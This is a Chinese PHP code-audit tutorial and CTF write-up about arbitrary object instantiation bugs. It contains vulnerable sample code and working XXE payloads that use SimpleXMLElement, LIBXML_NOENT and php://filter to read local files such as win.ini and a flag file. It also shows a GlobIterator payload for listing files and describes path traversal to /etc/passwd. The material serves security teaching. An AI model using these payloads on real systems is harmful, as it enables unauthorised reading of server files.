PHP程式碼審計03之例項化任意物件漏洞

雪痕*發表於2020-10-15

前言

根據紅日安全寫的文章,學習PHP程式碼審計的第三節內容,題目均來自PHP SECURITY CALENDAR 2017,講完相關知識點,會用一道CTF題目來加深鞏固。之前分別學習講解了in_array函式缺陷和filter_var函式缺陷,有興趣的可以去看看:
PHP程式碼審計01之in_array()函式缺陷
PHP程式碼審計02之filter_var()函式缺陷

漏洞分析

下面我們看第一題,程式碼如下:

<?php
function __autoload($className) {
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
?>

這段程式碼有兩處漏洞,第一處是檔案包含漏洞,現在看程式碼第八行,這裡用到了class_exists()函式來判斷使用者傳過來的控制器是否存在。現在看一下PHP手冊對這個函式的解釋。

通過看上面的解釋,我們知道,如果不指定第二個引數,預設情況下,如果本程式存在__autoload()函式,如果檢查的類不存在,那麼class_exists()函式就會去呼叫它。這道題的檔案包含漏洞,就出現在這裡。如果PHP版本在5~5.3之間,就可以使用路徑穿越來包含任意檔案,比如類名為../../../../../etc/passwd的查詢,那麼將檢視passwd的內容。
第二處漏洞是在上面程式碼的第10行,我們發現例項化的類名和傳入的引數都是我們可以控制的,所以我們可以通過這個漏洞呼叫PHP程式碼庫的任意構造建構函式。比如可以使用PHP內建類SimpleXMLElement來進行XXE攻擊,看一下PHP手冊對這個函式的解釋:

功能就是用來表示XML文件中的元素。詳細的請看下面,重點是第六條,下面要用到它。

  1. SimpleXMLElement::addAttribute-向SimpleXML元素新增屬性
    
  2. SimpleXMLElement::addChild-向XML節點新增子元素
    
  3. SimpleXMLElement::asXML-基於SimpleXML元素返回格式良好的XML字串
    
  4. SimpleXMLElement::attributes-標識元素的屬性
    
  5. SimpleXMLElement::children-查詢給定節點的子節點
    
  6. SimpleXMLElement::__construct-建立新的SimpleXMLElement物件
    
  7. SimpleXMLElement::count-計算元素的子級
    
  8. ExtSimpleNamespaces::GetDocElement-在文件名稱空間中宣告
    
  9. SimpleXMLElement::getName-獲取XML元素的名稱
    
  10. SimpleXMLElement::getNamespaces-返回文件中使用的名稱空間
    
  11. SimpleXMLElement::registerXPathNamespace-為下一個XPath查詢建立字首/ns上下文
    
  12. SimpleXMLElement::saveXML-別名SimpleXMLElement::asXML
    
  13. SimpleXMLElement::__toString -返回字串內容
    
  14. SimpleXMLElement::xpath-對XML資料執行XPath查詢
    

為了便於理解,用一小段程式碼來說明:

<?php
$xml = <<<EOF
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///C:Windows/win.ini">
]>
<x>&xxe;</x>
EOF;
$xml_class= new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>

檢視系統win.ini檔案,效果如下圖:

CTF練習

通過上面的學習分析,是不是對例項化漏洞和XXE漏洞有了一點點的理解呢?下面我們來做一道CTF題目來練習一下吧,這道題考察的就是例項化漏洞和XXE漏洞。現在我們看具體程式碼:

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name']:null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'$value'.'<br>';
}
?>

我們把注意力放在class_exists()函式這裡,上面我們說過了,這個函式它會去檢查類是否定義,如果不存在的話,就會呼叫程式中的 __autoload 函式。我們發現上面沒有__autoload 函式,是用spl_autoload_register註冊了和__autoload()差不多的,這裡輸出404資訊。
我們仔細看上面的程式碼第12~16行,我們發現這裡的類和類裡面的引數都是我們可以控制的,滿足了上面我們們提到的例項化漏洞。也就是說,我們可以呼叫PHP的內建類來完成我們的攻擊。
先用GlobIterator類來尋找flag檔案的名字,PHP手冊對這個類的建構函式定義如下:

通過上圖,我們知道,第一個引數是必須的的,也就是搜尋的檔名,第二個引數為選擇檔案的哪個資訊作為鍵名。我們們先搜一下.txt檔案。我們構造payload如下:

http://localhost/DMSJ/day3/index.php?name=GlobIterator&param=*.txt

效果如下圖,我們發現了flag.txt的檔案。

下一步,就是檢視這個檔案,獲取flag。用到的內建類為SimpleXMLElement,上面簡單的提到了一下,現在就來使用它來進行XXE攻擊來檢視flag.txt檔案的內容。這裡需要注意一點:要結合PHP流的使用,因為當檔案中存在: < > & ' " 等符號時會導致XML解析錯誤。我們用PHP流進行base_64編碼輸出就可以了。
什麼是PHP流呢?這裡簡單說一下,PHP提供了php://的協議允許訪問PHP的輸入輸出流,標準輸入輸出和錯誤描述符,記憶體中、磁碟備份的臨時檔案流以及可以操作其他讀取寫入檔案資源的過濾器,主要提供如下訪問方式來使用這些封裝器:

php://stdin
php://stdout
php://stderr
php://input
php://output
php://fd
php://memory
php://temp
php://filter

我們們用的最多的是php://input、php://output、php://filter。這裡我們們就用php://filter,它是一個檔案操作的協議,可以對檔案進行讀寫操作,具體看下錶:

read引數值可為:

  • string.strip_tags: 將資料流中的所有html標籤清除
  • string.toupper: 將資料流中的內容轉換為大寫
  • string.tolower: 將資料流中的內容轉換為小寫
  • convert.base64-encode: 將資料流中的內容轉換為base64編碼
  • convert.base64-decode:解碼
    這樣是不是清楚許多了呢?那就構造如下payload:
http://localhost/DMSJ/day3/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/phpstudy_pro/WWW/DMSJ/day3/flag.txt">]><x>%26xxe;</x>&param2=2

上面payload中的param2=2,實際上這裡2對應的模式是 LIBXML_NOENT,具體效果如下圖:

解碼一下,如下:

我們拿到了flag。

小結

通過這篇文章的講解,是不是對例項化漏洞和XXE漏洞有了更多的理解呢?下一篇文章會對strpos使用不當引發漏洞進行學習和分析,一起努力吧!

相關文章